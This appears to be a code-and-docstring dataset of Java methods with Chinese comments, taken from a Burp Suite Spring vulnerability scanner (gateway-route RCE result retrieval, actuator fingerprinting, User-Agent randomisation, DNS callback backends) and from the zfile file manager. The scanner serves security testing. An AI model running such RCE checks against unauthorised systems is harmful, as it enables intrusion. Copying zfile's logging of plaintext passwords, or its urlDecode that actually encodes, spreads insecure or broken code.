byte[] newRequest = this.helpers.buildHttpMessage(headers, refreshRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest);
byte[] rawResponse = requestResponse.getResponse();
IResponseInfo responseInfo1 = this.helpers.analyzeResponse(rawResponse);
String strResponse = this.helpers.bytesToString(rawResponse);
if (responseInfo1.getStatusCode() == 200 && strResponse.contains(random_uri) && strResponse.contains("Result")) {
return requestResponse;
};
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return null;
} |
访问注册的路由获取RCE结果
返回结果响应输出到UI
@param httpRequestResponse
@param uri
@param random_uri
@param deleteRoute 是否删除路由
@return
| Scanner::CloudGatewayRoute | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean isSpringFinger(IHttpRequestResponse httpRequestResponse, boolean isVersion2x) {
try {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
IHttpService service = httpRequestResponse.getHttpService();
String url = requestInfo.getUrl().toString();
if (isVersion2x) { // springboot 2.x
url = Utils.getUri(url) + "actuator/" + Utils.randomStr(5);
}
byte[] newRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), url));
requestInfo = this.helpers.analyzeRequest(service, newRequest); // 重新打包好新的uri请求
// header中Accpet: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
List<String> headers = requestInfo.getHeaders();
for (String header: headers) {
if (header.startsWith("Accept")) { // 坑点: 带冒号匹配会报错
headers.remove(header);
headers.add("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
break;
}
}
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo1 = this.helpers.analyzeRequest(service, newRequest);
newRequest = new String(newRequest).substring(requestInfo1.getBodyOffset()).getBytes();
// 组装请求
newRequest = this.helpers.buildHttpMessage(headers, newRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newRequest);
String body = new String(requestResponse.getResponse()).substring(this.helpers.analyzeResponse(requestResponse.getResponse()).getBodyOffset()).toLowerCase();
if (body.contains("whitelabel error page")) {
this.burpExtender.stdout.println("[*] Detect Spring Finger: " + url);
return true;
}
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
SpringBoot 1.x
随机访问一个uri路z径, 判断响应内容是否有spring特征 (Whitelabel Error Page)
SpringBoot 2.x
访问/actuator/xxx, 判断响应内容是否有spring特征 (Whitelabel Error Page)
@param httpRequestResponse
@return
| Scanner::isSpringFinger | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean isSpringGatewayFinger(IHttpRequestResponse httpRequestResponse, boolean isProdApi) {
try {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
IHttpService service = httpRequestResponse.getHttpService();
String url = Utils.getUri(requestInfo.getUrl().toString());
if (isProdApi) {
url = url + "prod-api/actuator/gateway/routes";
} else {
url = url + "actuator/gateway/routes";
}
byte[] newRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), url));
requestInfo = this.helpers.analyzeRequest(service, newRequest); // 重新打包好新的uri请求
// header中Accpet: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
List<String> headers = requestInfo.getHeaders();
for (String header: headers) {
if (header.startsWith("Accept")) { // 坑点: 带冒号匹配会报错
headers.remove(header);
headers.add("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
break;
}
}
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo1 = this.helpers.analyzeRequest(service, newRequest);
newRequest = new String(newRequest).substring(requestInfo1.getBodyOffset()).getBytes();
// 组装请求
newRequest = this.helpers.buildHttpMessage(headers, newRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newRequest);
String body = new String(requestResponse.getResponse()).substring(this.helpers.analyzeResponse(requestResponse.getResponse()).getBodyOffset()).toLowerCase();
if (body.contains("route_id")) {
this.burpExtender.stdout.println("[*] Detect SpringGateway Finger: " + url);
return true;
}
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
SpringGateway
访问/actuator/gateway/routes、/prod-api/actuator/gateway/routes
判断响应内容是否有SpringGateway特征: route_id
@param httpRequestResponse
@return
| Scanner::isSpringGatewayFinger | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private byte[] randomHeader(IHttpRequestResponse httpRequestResponse) {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
byte[] rawRequest = httpRequestResponse.getRequest();
List<String> headers = requestInfo.getHeaders();
// 先删除User-Agent，再添加随机的User-Agent
for (String header: headers) {
// this.burpExtender.stdout.println("header " + header);
if (header.startsWith("User-Agent")) { // 坑点: 带冒号匹配会报错
headers.remove(header);
headers.add("User-Agent: " + RandomHeaders.randomHeader());
break;
}
}
// 获取body
byte[] bodyRequest = new String(rawRequest).substring(requestInfo.getBodyOffset()).getBytes();
// 拼接header和body
return this.helpers.buildHttpMessage(headers, bodyRequest);
} |
随机Agent头
先将原来的Agent删掉，再添加随机Agent
@param httpRequestResponse
@return
| Scanner::randomHeader | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private String normalized(IRequestInfo requestInfo) {
String type = requestInfo.getMethod();
String url = String.valueOf(requestInfo.getUrl()).split("\\?")[0]; // 获取?之前的url
return Utils.MD5(url + "+" + type);
} |
归一化请求包
格式: ${url} + GET/POST
@param requestInfo
@return MD5
| Scanner::normalized | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean isChecked(String url_md5) {
return this.allScan.contains(url_md5);
} |
是否已扫描过
@param url_md5
@return
| Scanner::isChecked | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
public void close() {
if (this.backend != null) {
this.backend.close();
}
} |
关闭持续监听的Dnslog
| Scanner::close | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
public static String MD5(String src) {
byte[] digest = null;
try {
MessageDigest md5 = MessageDigest.getInstance("MD5");
digest = md5.digest(src.getBytes());
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException("MD5 Algorithm not found!");
}
return new BigInteger(1, digest).toString(16);
} |
MD5加密, 用于只扫描一次同类uri
@param src
@return hexadecimal string
| Utils::MD5 | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static String getUriExt(String url) {
String pureUrl = url.substring(0, url.contains("?") ? url.indexOf("?") : url.length());
return (pureUrl.lastIndexOf(".") > -1 ? pureUrl.substring(pureUrl.lastIndexOf(".") + 1) : "").toLowerCase();
} |
获取url的文件后缀
@param url
@return ext
| Utils::getUriExt | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static String getUri(String url) {
url = url.replace("https://", "").replace("http://", ""); // 截去http://或https://
String pureUrl = url.substring(0, url.contains("#") ? url.indexOf("#") : url.length()); // 排除锚点
pureUrl = pureUrl.substring(0, pureUrl.contains("?") ? pureUrl.indexOf("?") : pureUrl.length()); // 排除参数
pureUrl = pureUrl.substring(pureUrl.contains("/") ? pureUrl.indexOf("/") : pureUrl.length(), pureUrl.contains("/") ? pureUrl.lastIndexOf("/") : pureUrl.length()); // 取最后一个/之前的uri
return pureUrl + "/";
} |
取url的uri路径
@param url http://xxx:8080/api/auth-manager-microservice/v1/login/anon/apps?_t=1649647394555kna8
@return uri /api/auth-manager-microservice/v1/login/anon/
| Utils::getUri | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static boolean isErrorStatusCode(int status_code) {
return Arrays.stream(new Integer[]{ 400, 500, 502, 503 }).anyMatch(e -> e == status_code);
} |
判断状态码是否是异常
异常响应码: 400, 500, 502, 503
@param status_code
@return
| Utils::isErrorStatusCode | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static boolean isStaticFile(String url) {
for (String ext : STATIC_FILE_EXT) {
if (ext.equalsIgnoreCase(Utils.getUriExt(url))) return true;
}
return false;
} |
判断uri是否静态文件,
使用传统的循环判断，时间复杂度为O(1)
@param url
@return true/false
| Utils::isStaticFile | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static IPoc[] getPocs(Integer[] rangePocs) {
List<IPoc> pocs = new ArrayList<IPoc>();
try {
for (Integer no : rangePocs) {
Class<?> poc = Class.forName("burp.payload.pocs.POC" + String.valueOf(no));
pocs.add((IPoc) poc.newInstance());
}
} catch (Exception e) {
e.printStackTrace();
}
return pocs.toArray(new IPoc[0]);
} |
获取pocs包中的所有poc类
@param rangePocs
@return Map
| Utils::getPocs | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static String randomStr(int n) {
StringBuilder s = new StringBuilder();
char[] stringArray = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6',
'7', '8', '9'};
for (int i = 0; i < n; i++) {
char num = stringArray[random.nextInt(stringArray.length)];
s.append(num);
}
return s.toString();
} |
随机取 n 个字符
@param n
@return String
| Utils::randomStr | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static int getRandom(int min, int max){
return random.nextInt(max) % (max - min + 1) + min;
} |
随机获取 [min, max] 范围内的随机整数
eg: [1, 3] => 1, 2, 3
ps: min为0的时候会计算会少1，如：[0, 3] => 0, 1, 2
@return random int
| Utils::getRandom | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static long getRandomLong() {
return Math.abs(random.nextLong());
} |
随机获取long数值
@return
| Utils::getRandomLong | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static String bytes2Hex(byte[] src){
if (src == null || src.length <= 0) {
return null;
}
StringBuilder stringBuilder = new StringBuilder("");
for (int i = 0; i < src.length; i++) {
// 之所以用byte和0xff相与，是因为int是32位，与0xff相与后就舍弃前面的24位，只保留后8位
String str = Integer.toHexString(src[i] & 0xff);
if (str.length() < 2) { // 不足两位要补0
stringBuilder.append(0);
}
stringBuilder.append(str);
}
return stringBuilder.toString();
} |
byte[] => string
@param src
@return
| Utils::bytes2Hex | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static String urlEncode(String src) {
try {
return URLEncoder.encode(src, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return null;
}
} |
URL编码
@param src
@return
| Utils::urlEncode | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public static String urlDecode(String src) {
try {
return URLEncoder.encode(src, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return null;
}
} |
URL解码
@param src
@return
| Utils::urlDecode | java | metaStor/SpringScan | src/main/java/burp/util/Utils.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java | MIT |
public boolean isEnable() {
return this.enableCheckBox.isSelected();
} |
插件是否开启状态
@return true/false
| Backends::isEnable | java | metaStor/SpringScan | src/main/java/burp/ui/tabs/SettingUi.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java | MIT |
public boolean isErrorCheck() {
return this.errorCheckBox.isSelected();
} |
是否开启报错检测
@return true/false
| Backends::isErrorCheck | java | metaStor/SpringScan | src/main/java/burp/ui/tabs/SettingUi.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java | MIT |
public boolean isReverseCheck() {
return this.reverseCheckBox.isSelected();
} |
是否开启回连检测
@return true/false
| Backends::isReverseCheck | java | metaStor/SpringScan | src/main/java/burp/ui/tabs/SettingUi.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java | MIT |
public Backends getBackendPlatform() {
return Backends.valueOf(this.backendSelector.getSelectedItem().toString());
} |
返回选择到回连平台
@return Dnslog/BurpCollaboratorClient/Ceye
| Backends::getBackendPlatform | java | metaStor/SpringScan | src/main/java/burp/ui/tabs/SettingUi.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java | MIT |
public String getApiField() {
return this.apiInput.getText().trim().toLowerCase();
} |
获取 Ceye Api 地址
@return xxxxxx.ceye.io
| Backends::getApiField | java | metaStor/SpringScan | src/main/java/burp/ui/tabs/SettingUi.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java | MIT |
public String getTokenField() {
return this.tokenInput.getText().trim().toLowerCase();
} |
获取 Ceye Token
@return xxxxxxxxxxxxxxxxx
| Backends::getTokenField | java | metaStor/SpringScan | src/main/java/burp/ui/tabs/SettingUi.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java | MIT |
public boolean checkFileIsInaccessible(Integer storageId, String path) {
List<FilterConfig> filterConfigList = filterConfigService.findByStorageIdAndInaccessible(storageId);
return testPattern(storageId, filterConfigList, path);
} |
判断访问的路径是否是不允许访问的
@param storageId
存储源 ID
@param path
请求路径
| FilterConfigService::checkFileIsInaccessible | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | MIT |
public boolean checkFileIsHidden(Integer storageId, String fileName) {
List<FilterConfig> filterConfigList = filterConfigService.findByStorageId(storageId);
return testPattern(storageId, filterConfigList, fileName);
} |
指定存储源下的文件名称, 根据过滤表达式判断是否会显示, 如果符合任意一条表达式, 表示隐藏则返回 true, 反之表示不隐藏则返回 false.
@param storageId
存储源 ID
@param fileName
文件名
@return 是否是隐藏文件夹
| FilterConfigService::checkFileIsHidden | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | MIT |
public boolean checkFileIsDisableDownload(Integer storageId, String fileName) {
List<FilterConfig> filterConfigList = filterConfigService.findByStorageIdAndDisableDownload(storageId);
String filePath = FileUtil.getParent(fileName, 1);
if (StrUtil.isEmpty(filePath)) {
return testPattern(storageId, filterConfigList, fileName);
} else {
return testPattern(storageId, filterConfigList, fileName) || testPattern(storageId, filterConfigList, filePath);
}
} |
指定存储源下的文件名称, 根据过滤表达式判断文件名和所在路径是否禁止下载, 如果符合任意一条表达式, 则返回 true, 反之则返回 false.
@param storageId
存储源 ID
@param fileName
文件名
@return 是否显示
| FilterConfigService::checkFileIsDisableDownload | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | MIT |
private boolean testPattern(Integer storageId, List<FilterConfig> patternList, String test) {
// 如果规则列表为空, 则表示不需要过滤, 直接返回 false
if (CollUtil.isEmpty(patternList)) {
if (log.isDebugEnabled()) {
log.debug("过滤规则列表为空, 存储源 ID: {}, 测试字符串: {}", storageId, test);
}
return false;
}
// 校验表达式
for (FilterConfig filterConfig : patternList) {
String expression = filterConfig.getExpression();
if (StrUtil.isEmpty(expression)) {
if (log.isDebugEnabled()) {
log.debug("存储源 {} 过滤文件测试表达式: {}, 测试字符串: {}, 表达式为空，跳过该规则校验", storageId, expression, test);
}
continue;
}
try {
boolean match = PatternMatcherUtils.testCompatibilityGlobPattern(expression, test);
if (log.isDebugEnabled()) {
log.debug("存储源 {} 过滤文件测试表达式: {}, 测试字符串: {}, 匹配结果: {}", storageId, expression, test, match);
}
if (match) {
return true;
}
} catch (Exception e) {
log.error("存储源 {} 过滤文件测试表达式: {}, 测试字符串: {}, 匹配异常，跳过该规则.", storageId, expression, test, e);
}
}
return false;
} |
根据规则表达式和测试字符串进行匹配，如测试字符串和其中一个规则匹配上，则返回 true，反之返回 false。
@param patternList
规则列表
@param test
测试字符串
@return 是否显示
| FilterConfigService::testPattern | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java | MIT |
public synchronized String getRsaHexKeyOrGenerate() {
SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig();
String rsaHexKey = systemConfigDTO.getRsaHexKey();
if (StrUtil.isEmpty(rsaHexKey)) {
byte[] key = SecureUtil.generateKey(SymmetricAlgorithm.AES.getValue()).getEncoded();
rsaHexKey = HexUtil.encodeHexStr(key);
SystemConfig loginVerifyModeConfig = systemConfigMapper.findByName(SystemConfigConstant.RSA_HEX_KEY);
loginVerifyModeConfig.setValue(rsaHexKey);
systemConfigMapper.updateById(loginVerifyModeConfig);
systemConfigDTO.setRsaHexKey(rsaHexKey);
Cache cache = cacheManager.getCache(CACHE_NAME);
Optional.ofNullable(cache).ifPresent(cache1 -> cache1.put("dto", systemConfigDTO));
}
return rsaHexKey;
} |
获取 RSA Hex 格式密钥
@return RSA Hex 格式密钥
| CacheEvict::getRsaHexKeyOrGenerate | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | MIT |
public Boolean getSystemIsInstalled() {
return systemConfigService.getSystemConfig().getInstalled();
} |
获取系统是否已初始化
@return 管理员名称
| CacheEvict::getSystemIsInstalled | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | MIT |
public String getDomain() {
SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig();
return systemConfigDTO.getDomain();
} |
获取后端站点域名
@return 后端站点域名
| CacheEvict::getDomain | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | MIT |
public String getFrontDomain() {
SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig();
return systemConfigDTO.getFrontDomain();
} |
获取前端站点域名
@return 前端站点域名
| CacheEvict::getFrontDomain | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | MIT |
public String getRealFrontDomain() {
SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig();
return StrUtil.firstNonNull(systemConfigDTO.getFrontDomain(), systemConfigDTO.getDomain());
} |
获取实际的前端站点域名
@return 实际的前端站点域名
| CacheEvict::getRealFrontDomain | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | MIT |
public String getForbiddenUrl() {
return getRealFrontDomain() + "/403";
} |
获取前端地址下的 403 页面地址.
@return 前端地址下的 403 页面地址.
| CacheEvict::getForbiddenUrl | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java | MIT |
public VerifyResultDTO verifyPassword(Integer storageId, String path, String inputPassword) {
List<PasswordConfig> passwordConfigList = passwordConfigService.findByStorageId(storageId);
// 如果规则列表为空, 则表示不需要过滤, 直接返回 false
if (CollUtil.isEmpty(passwordConfigList)) {
if (log.isDebugEnabled()) {
log.debug("密码规则列表为空, 请求路径: {}, 存储源 ID: {}, 输入密码: {}", path, storageId, inputPassword);
}
return VerifyResultDTO.success();
}
// 校验密码
for (PasswordConfig passwordConfig : passwordConfigList) {
String expression = passwordConfig.getExpression();
String expectPassword = passwordConfig.getPassword();
// 规则为空跳过
if (StrUtil.isEmpty(expression)) {
if (log.isDebugEnabled()) {
log.debug("密码规则测试表达式: {}, 请求路径: {}, 表达式为空，跳过该规则比对", expression, path);
}
continue;
}
try {
// 判断当前请求路径是否和规则路径表达式匹配
boolean match = PatternMatcherUtils.testCompatibilityGlobPattern(expression, path);
if (log.isDebugEnabled()) {
log.debug("密码规则测试表达式: {}, 请求路径: {}, 匹配结果: {}, 预期密码: {}, 输入密码; {}", expression, path, match, expectPassword, inputPassword);
}
// 如果匹配且输入了密码则校验
if (match) {
if (StrUtil.isEmpty(inputPassword)) {
if (log.isDebugEnabled()) {
log.debug("密码规则匹配, 但未输入密码；" +
"表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码：{}, 输入密码: {}",
expression, path, storageId, expectPassword, inputPassword);
}
return VerifyResultDTO.fail("此文件夹需要密码.", AjaxJson.REQUIRED_PASSWORD);
}
if (matchPassword(expectPassword, inputPassword)) {
if (log.isDebugEnabled()) {
log.debug("密码规则匹配, 密码校验通过；" +
"表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码：{}, 输入密码: {}",
expression, path, storageId, expectPassword, inputPassword);
}
return VerifyResultDTO.success(expression);
}
if (log.isDebugEnabled()) {
log.debug("密码规则匹配, 但输入密码与预期密码不同；" +
"表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码：{}, 输入密码: {}",
expression, path, storageId, expectPassword, inputPassword);
}
return VerifyResultDTO.fail("此文件夹密码错误.", AjaxJson.INVALID_PASSWORD);
}
} catch (Exception e) {
log.error("密码规则匹配出现异常，表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码：{}, 输入密码: {}, 解析错误, 跳过此规则.",
expression, path, storageId, expectPassword, inputPassword, e);
}
}
if (log.isDebugEnabled()) {
log.debug("校验文件夹密码 path: {}, 没有匹配的表达式, 不进行密码校验.", path);
}
return VerifyResultDTO.success();
} |
校验密码
@param storageId
存储源 ID
@param path
请求路径
@param inputPassword
用户输入的密码
@return 是否校验通过
| public::verifyPassword | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java | MIT |
private boolean matchPassword(String expectedPasswordContent, String password) {
if (Objects.equals(expectedPasswordContent, password)) {
return true;
}
// 如果预期密码或输入密码为空, 则不匹配
if (ObjectUtil.hasNull(expectedPasswordContent, password)) {
return false;
}
expectedPasswordContent = StringUtils.removeAllLineBreaksAndTrim(expectedPasswordContent);
password = StringUtils.removeAllLineBreaksAndTrim(password);
return Objects.equals(expectedPasswordContent, password);
} |
校验两个密码是否相同, 忽略空白字符
@param expectedPasswordContent
预期密码
@param password
实际输入密码
@return 是否匹配
| public::matchPassword | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java | MIT |
private String getHostByType(String type) {
// 判断是标准版还是世纪互联版
if (Objects.equals(type, "Standard")) {
return "graph.microsoft.com";
} else if (Objects.equals(type, "China")) {
return "microsoftgraph.chinacloudapi.cn";
} else {
throw new RuntimeException("不支持的类型");
}
} |
根据类型获取 API 地址
@param type
网站类型：
Standard：标准版
China：世纪互联版
@return API 地址
| sites::getHostByType | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java | MIT |
private String getSearchSiteUrlByType(String type) {
String hostByType = getHostByType(type);
return StrUtil.format("https://{}/v1.0/sites", hostByType);
} |
获取搜索网站请求 URL
@param type
网站类型：
Standard：标准版
China：世纪互联版
@return 搜索网站请求 URL
| sites::getSearchSiteUrlByType | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java | MIT |
public FileContext execute(FileContext content) throws Exception {
super.execute(content);
return content;
} |
执行文件处理责任链
@param content
文件上下文
@return 是否执行成功
| FileChain::execute | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/chain/FileChain.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/chain/FileChain.java | MIT |
int order() default 99;
/**
* 参数键, 如果为空, 则使用字段名称.
*/
String key() default "";
/**
* 参数名称, 用于网页上显示名称.
*/
String name();
/**
* 字段类型, 默认为 input, 可选值为: input, select, switch.
*/
StorageParamTypeEnum type() default StorageParamTypeEnum.INPUT;
/**
* 当 {@link #type} 为 select 时, 选项的值.
*/
StorageParamSelectOption[] options() default {}; |
字段显示排序值, 值越小, 越靠前. 默认为 99
| order | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/annotation/StorageParamItem.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/annotation/StorageParamItem.java | MIT |
public AbstractBaseFileService<IStorageParam> getByStorageId(Integer storageId) {
AbstractBaseFileService<IStorageParam> abstractBaseFileService = DRIVES_SERVICE_MAP.get(storageId);
if (abstractBaseFileService == null) {
throw new InvalidStorageSourceException(storageId);
}
return abstractBaseFileService;
} |
根据存储源 id 获取对应的 Service.
@param storageId
存储源 ID
@return 存储源对应的 Service
| StorageSourceContext::getByStorageId | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | MIT |
public AbstractBaseFileService<?> getByStorageKey(String key) {
Integer storageId = storageSourceService.findIdByKey(key);
if (storageId == null) {
return null;
}
return getByStorageId(storageId);
} |
根据存储源 key 获取对应的 Service.
@param key
存储源 key
@return 存储源对应的 Service
| StorageSourceContext::getByStorageKey | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | MIT |
public static List<StorageSourceParamDef> getStorageSourceParamListByType(StorageTypeEnum type) {
return storageTypeEnumFileServiceMap.values().stream()
// 根据存储源类型找到第一个匹配的 Service
.filter(fileService -> fileService.getStorageTypeEnum() == type)
.findFirst()
// 获取该 Service 的参数列表
.map(StorageSourceSupport::getStorageSourceParamList)
// 如果没有找到, 则返回空列表
.orElse(Collections.emptyList());
} |
根据存储类型获取对应的存储源的参数列表.
@param type
存储类型: {@link StorageTypeEnum}
@return 指定类型存储源的参数列表. {@link StorageSourceSupport#getStorageSourceParamList(AbstractBaseFileService)} )}}
| StorageSourceContext::getStorageSourceParamListByType | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | MIT |
public void init(StorageSource storageSource) {
Integer storageId = storageSource.getId();
String storageName = storageSource.getName();
AbstractBaseFileService<IStorageParam> baseFileService = getInitStorageBeanByStorageId(storageId);
if (baseFileService == null) {
throw new InvalidStorageSourceException(storageId);
}
// 填充初始化参数
IStorageParam initParam = getInitParam(storageId, baseFileService);
// 进行初始化并测试连接
baseFileService.init(storageName, storageId, initParam);
baseFileService.testConnection();
DRIVES_SERVICE_MAP.put(storageId, baseFileService);
} |
初始化指定存储源的 Service, 添加到上下文环境中.
@param storageSource
存储源对象
